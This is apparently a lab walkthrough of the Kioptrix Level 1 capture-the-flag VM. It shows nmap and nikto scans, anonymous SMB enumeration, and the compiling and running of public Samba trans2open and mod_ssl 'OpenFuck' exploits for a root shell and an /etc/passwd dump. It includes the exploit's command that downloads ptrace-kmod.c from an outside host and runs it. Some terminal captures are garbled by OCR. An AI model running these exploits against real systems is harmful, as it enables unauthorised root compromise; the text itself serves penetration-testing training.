

# Kioptrix - Level 1

1. Find target IP

command : **nmap -sn 192.168.122.0/24**

```
root@kali:~/HACKTOOLS# nmap -sn 192.168.122.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-26 06:06 EDT
Nmap scan report for 192.168.122.1
Host is up (0.0013s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.122.2
Host is up (0.00058s latency).
MAC Address: 00:50:56:FA:D5:29 (VMware)
Nmap scan report for 192.168.122.138
Host is up (0.00052s latency).
MAC Address: 00:0C:29:EE:DE:A3 (VMware)
Nmap scan report for 192.168.122.254
Host is up (0.00061s latency).
MAC Address: 00:50:56:FF:B5:9C (VMware)
Nmap scan report for 192.168.122.137
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 28.30 seconds
```

## SCANNING

2. nmap Full port scanning

command : **nmap -p- IP\_address**

```
root@kali:~/HACKTOOLS# nmap -p- 192.168.122.138
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-26 06:12 EDT
Nmap scan report for 192.168.122.138
Host is up (0.0022s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
1024/tcp  open  kdm
MAC Address: 00:0C:29:EE:DE:A3 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 23.67 seconds
```

3. Open ports → 22, 80, 111, 139, 443, 1024

4. nmap -sV -A --script vuln -p [all\_ports] ip\_address

```
root@kali:~/HACKTOOLS# nmap -sV -A --script vuln -p 22,80,111,139,443,1024 192.168.122.138
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-26 06:42 EDT
Stats: 0:01:11 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.62% done; ETC: 06:44 (0:00:00 remaining)
Nmap scan report for 192.168.122.138
Host is up (0.0014s latency).

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-csrf: Couldn't find any CSRF vulnerabilities.
| http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|   /test.php: Test page
|   /icons/: Potentially interesting directory w/ listing on 'apache/1.3.20'
|   /manual/: Potentially interesting directory w/ listing on 'apache/1.3.20'
|   /usage/: Potentially interesting folder
| http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-trace: TRACE is enabled
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo:
|   program version  port/proto  service
|   100000  2          111/tcp    rpcbind
|   100000  2          111/udp    rpcbind
|   100024  1          1024/tcp   status
|   100024  1          1024/udp   status
139/tcp   open  netbios-ssn  Samba smbd (workgroup: A0MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| http-aspNet-debug: ERROR: Script execution failed (use -d to debug)
| http-csrf: Couldn't find any CSRF vulnerabilities.
| http-dombased-xss: Couldn't find any DOM based XSS.
```

## ENUMERATION

PORT - 139

5. enum4linux IP\_address

```

root@kali:~/CTF/Kioptrix-Lev1# enum4linux 192.168.122.138
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue May 26 07:15:41 2020
=====
| File Edit Terminal Help
===== -r Kioptrix/
Target Kali.../NACKT 192.168.122.138
RID Range..... 500-550,1000-1050
Usernames...Downloads Music Public Templates
Passwords...ODS Pictures reports Videos
Known Usernames\kali\administrator, guest, krbtgt, domain admins, root, bin, none
root@kali:~# cd CTF/
root@kali:~/CTF# ls
=====
| root Enumerating Workgroup/Domain on 192.168.122.138 |
=====
[+] Got domain/workgroup name: MYGROUP
root@kali:~/CTF/Kioptrix-Lev1# ls
=====
| root Nbtstat Information for 192.168.122.138 |
=====
Looking up status of 192.168.122.138
nmap-f KIOPTRIX <00> - B <ACTIVE> Workstation Service
root@KIOPTRIX /Kioptrix<03>->1# nano iBf<ACTIVE> Messenger Service
root@KIOPTRIX /Kioptrix<20> ->1# ls B <ACTIVE> File Server Service
info nmap MSBROWSE___.<01> - <GROUP> B <ACTIVE> Master Browser
root@KMYGROUP F/Kioptrix<00>->1<GROUP>\Bak<ACTIVE> Domain/Workgroup Name
root@KMYGROUP F/Kioptrix<1d>->1# nano iBf<ACTIVE> Master Browser
root@KMYGROUP F/Kioptrix<1e>->1<GROUP> B <ACTIVE> Browser Service Elections

MAC Address = 00-00-00-00-00-00

=====
| Session Check on 192.168.122.138 |
=====
[+] Server 192.168.122.138 allows sessions using username '', password ''

```

## 6. Enumerating smb file shares

**smbclient -L ip\_address**

```

root@kali:~#
root@kali:~# smbclient -L 192.168.122.138
WARNING: The "syslog" option is deprecated
Server does not support EXTENDED_SECURITY but 'client use spnego = yes'
and 'client ntlmv2 auth = yes' is set
Anonymous login successful
Enter WORKGROUP\root's password:

      Sharename      Type      Comment
      -----        ----      -----
      IPC$          IPC       IPC Service (Samba Server)
      ADMIN$         IPC       IPC Service (Samba Server)

Reconnecting with SMB1 for workgroup listing.
Server does not support EXTENDED_SECURITY but 'client use spnego = yes'
and 'client ntlmv2 auth = yes' is set
Anonymous login successful

      Server           Comment
      -----           -----
      KIOPTRIX        Samba Server

      Workgroup        Master
      -----           -----
      MYGROUP

```

## 7. Share IPC or ADMIN

**smbclient //IP\_address/IPC\$ -U**

```

root@kali:~# smbclient //192.168.122.138/IPC$ -U
WARNING: The "syslog" option is deprecated
Server does not support EXTENDED_SECURITY but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
smb: \> uname
uname: command not found
smb: \> whoami
whoami: command not found
smb: \> cd
Current directory is \
smb: \> pwd
Current directory is \\192.168.122.138\IPC\
smb: \> ls
NT_STATUS_NETWORK_ACCESS_DENIED listing \*

```

```

root@kali:~# smbclient //192.168.122.138/ADMIN$ -U
WARNING: The "syslog" option is deprecated
Server does not support EXTENDED_SECURITY but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
Enter WORKGROUP\root's password:
tree connect failed: NT_STATUS_WRONG_PASSWORD

```

## 8. searchsploit samba | grep remote

```

root@kali:~# searchsploit samba |grep remote
Samba 1.9.19 - 'Password' Remote Buffer Overflow
Samba 2.0.7 - SWAT Logging Failure
Samba 2.0.x < 2.2.8 - Arbitrary File Creation
Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)
Samba 2.2.2 < 2.2.6 - 'ntrans' Remote Buffer Overflow (Metasploit) (1)
Samba 2.2.8 (BSN x86) - 'trans2open' Remote Overflow (Metasploit)
Samba 2.2.8 (Linux x86) - 'trans2open' Remote Overflow (Metasploit)
Samba 2.2.8 (OSX/PPC) - 'trans2open' Remote Overflow (Metasploit)
Samba 2.2.8 (Solaris SPARC) - 'trans2open' Remote Overflow (Metasploit)
Samba 2.2.8 - Brute Force Method Remote Command Execution
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (1)
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (2)
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (3)
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (4)
Samba 2.2.x - 'ntrans' Remote Overflow (Metasploit)
Samba 2.2.x - CIFS/9000 Server A.01.x Packet Assembling Buffer Overflow
Samba 2.2.x - Remote Buffer Overflow
Samba 3.0.10 - 'lsa io trans names' Heap Overflow (Metasploit)
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)
Samba 3.0.21 < 3.0.24 - LSA trans names Heap Overflow (Metasploit)
Samba 3.0.24 (Linux) - 'lsa io trans names' Heap Overflow (Metasploit)
Samba 3.0.24 (Solaris) - 'lsa io trans names' Heap Overflow (Metasploit)
Samba 3.0.4 - SWAT Authorisation Buffer Overflow
Samba 3.3.12 (Linux x86) - 'chain reply' Memory Corruption (Metasploit)
Samba 3.3.5 - Format String / Security Bypass
Samba 3.4.16/3.5.14/3.6.4 - SetInformationPolicy AuditEventsInfo Heap Overflow (Metasploit)
Samba 3.4.5 - Symlink Directory Traversal
Samba 3.4.5 - Symlink Directory Traversal (Metasploit)
Samba 3.5.0 - Remote Code Execution
Samba 3.5.0 < 4.4.14/4.5.10/4.6.4 - 'is_known_pipename()' Arbitrary Module Load (Metasploit)
Samba 3.5.11/3.6.3 - Remote Code Execution
Samba 4.5.2 - Symlink Race Permits Opening Files Outside Share Directory
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution
Samba < 3.0.20 - Remote Heap Overflow
| exploits/linux/remote/20308.c
| exploits/unix/remote/28340.c
| exploits/unix/remote/28968.txt
| exploits/osx/remote/9924.rb
| exploits/linux/remote/16321.rb
| exploits/bsn_x86/remote/16880.rb
| exploits/linux_x86/remote/16861.rb
| exploits/oss_ppc/remote/16876.rb
| exploits/solaris_sparc/remote/16330.rb
| exploits/linux/remote/22356.c
| exploits/unix/remote/22468.c
| exploits/unix/remote/22469.c
| exploits/unix/remote/22470.c
| exploits/unix/remote/22471.txt
| exploits/linux/remote/9936.rb
| exploits/unix/remote/22356.c
| exploits/linux/remote/7.pl
| exploits/osx/remote/16875.rb
| exploits/multiple/remote/10095.txt
| exploits/unix/remote/16320.rb
| exploits/linux/remote/9950.rb
| exploits/linux/remote/16859.rb
| exploits/solaris/remote/16329.rb
| exploits/linux/remote/364.pl
| exploits/linux_x86/remote/16860.rb
| exploits/linux/remote/33053.txt
| exploits/linux/remote/21850.rb
| exploits/linux/remote/33599.txt
| exploits/linux/remote/33598.rb
| exploits/linux/remote/42060.py
| exploits/linux/remote/42084.rb
| exploits/linux/remote/37834.py
| exploits/multiple/remote/41740.txt
| exploits/multiple/remote/419.c
| exploits/linux/remote/7701.txt

```

```

searchsploit -x exploits/unix/remote/22470.c > exploit.c
nano exploit.c
//delete extra code and save file

```

```

root@kali:~/CTF/Kioptrix-Lev1# gcc exploit.c -o exploit
root@kali:~/CTF/Kioptrix-Lev1# ls
apache apache_pb.gif exploit exploit.c info nmap-fullport nmap-vuln power poweredby.png _poweredby.png.extracted
root@kali:~/CTF/Kioptrix-Lev1#

```

```

root@kali:~/CTF/Kioptrix-Lev1# ./exploit
Samba < 2.2.8 Remote Root exploit by Schizophrenic
Connect back method, Xnuxer-Labs, 2003.
Usage : ./exploit <type> <victim> <your ip>
Targets:
  0 = Linux
  1 = FreeBSD/NetBSD
  2 = OpenBSD 3.0 and prior
  3 = OpenBSD 3.2 - non-exec stack

root@kali:~/CTF/Kioptrix-Lev1# ./exploit 0 192.168.122.138 192.168.137

```

```

root@kali:~/CTF/Kioptrix-Level1# ./exploit 0 192.168.122.138 192.168.122.137 [14.9 MB]
[+] Listen on port: 45295
[+] Connecting back to: [192.168.122.137:45295]
[+] Target: Linux
[+] Connected to [192.168.122.138:139]
[+] Please wait in seconds...!
[+] Yeah, I have a root...!
Linux Kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 1686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
cat /etc/passwd
root:x:0:0:root:/bin/bash
bin:x:1:1:bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin/shutdown
halt:x:7:0:halt:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/sbin/nologin
mailnull:x:47:47:/var/spool/mqueue:/dev/null
rpm:x:37:37:/var/lib/rpm:/bin/bash
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
rpc:x:32:32:Portmapper RPC user:/bin/false
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin

```

## PORT 80

Scanning website using nikto

**nikto -h IP\_address**

```

root@kali:~/CTF/Kioptrix-Level1# nikto -h 192.168.122.138
- Nikto v2.1.6
+ Target IP: 192.168.122.138
+ Target Hostname: 192.168.122.138
+ Target Port: 80
+ Start Time: 2020-09-27 11:17:26 (GMT-4)
+-----+
+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server leaks inode via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep 5 23:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the
MIME type
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1f). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XSS
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on t
he system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-b
in/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ //etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/adv
isories/CA-2000-02.html.
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.


```

Apache mod\_ssl 2.8.4 is vulnerable

The screenshot shows the Exploit Database page for exploit ID 764. The exploit is titled "Apache mod\_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)". Key details include:

- EDB-ID:** 764
- CVE:** 2002-0082
- Author:** SPABAM
- Type:** REMOTE
- Platform:** UNIX
- Date:** 2003-04-04
- EDB Verified:** ✓
- Exploit:** [Download](#) / [View](#)
- Vulnerable App:** [View](#)

A sidebar on the right says "Become a Certified Penetration Tester" and "GET CERTIFIED".

## searchsploit mod\_ssl

```
root@kali:~/CTF/Kioptrix-Lev1# searchsploit mod_ssl
-----[REDACTED]-----
Exploit Title: tp harukasan.org/kali-kali-rolling/main i386 libctangi-6.0_1386_1:0.0.1-14.1 [8,491 KB] | Path: (/usr/share/exploitdb/)
Get:77 http://tp.harukasan.org/kali-kali-rolling/main i386 clang-6.0_1386_1:0.0.1-14.1 [11.2 MB]
Apache mod_ssl 2.0.x - Remote Denial Of Service(g/main i386 lib64gcc-s1_1386_10.1.0-2 [41.0 kB]) | exploits/linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow(g/main i386 libclang-common-9-dev_1386_1:9.0.1-12 [2.7 MB]) | exploits/multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow(g/main i386_1:9.0.1-12 [1,090 KB]) | exploits/unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow(g/main i386_1:9.0.1-12 [1,090 KB]) | exploits/unix/remote/764.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY_ARG Overflow(g/main i386_1:9.0.1-12 [1,090 KB]) | exploits/unix/remote/40347.txt
-----[REDACTED]-----
Shellcodes: No Result
root@kali:~/CTF/Kioptrix-Lev1# ! ali kali-rolling/main i386 libssl-dev_1386_1:1.10-1 [1,833 KB]
-----[REDACTED]-----
```

## searchsploit -x exploit/unix/remote/764.c > 764.c

```
root@kali:~/CTF/Kioptrix-Lev1# searchsploit -x exploits/unix/remote/764.c > 764.c
-----[REDACTED]-----
-----[REDACTED]-----
```

gcc 764.c -o 764

.764

```

root@kali:~/Downloads/exploits/mod_ssl_OpenFuck# gcc 764.c -o 764 -lcrypto
root@kali:~/Downloads/exploits/mod_ssl_OpenFuck# ls
764 764.c exploit
root@kali:~/Downloads/exploits/mod_ssl_OpenFuck# ./764

*****
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*****
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*****


: Usage: ./764 target box [port] [-c N]

target - supported box eg: 0x00
box - hostname or IP address
port - port for ssl connection
-c open N connections. (use range 40-50 if u dont know)

```

## ./764 target host -c 42

```

root@kali:~/Downloads/exploits/mod_ssl_OpenFuck# ./764 0x6b 192.168.122.138 -c 42
shared-
*****
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*****
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*****


Connection... 42 of 42
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f81c8
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; net/0304
--07:33:42-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
          => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]

OK ...                                         100% @ 957.28 KB/s

07:33:43 (957.28 KB/s) - `ptrace-kmod.c' saved [3921/3921]

/usr/bin/ld: cannot open output file p: Permission denied
collect2: ld returned 1 exit status
whoami
root
uname
Linux

```

```
root mount-
uname shared-
Linux folders
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/dev/null
rpm:x:37:37::/var/lib/rpm:/bin/bash
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
rpc:x:32:32:Portmapper RPC user:/bin/false
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/bin/false
ident:x:98:98:ident user:/sbin/nolcat /etc/passwd
login
radvd:x:75:75:radvd user:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/bin/false
squid:x:23:23::/var/spool/squid:/dev/null
pcap:x:77:77::/var/arpwatch:/bin/nologin
john:x:500:500::/home/john:/bin/bash
harold:x:501:501::/home/harold:/bin/bash
```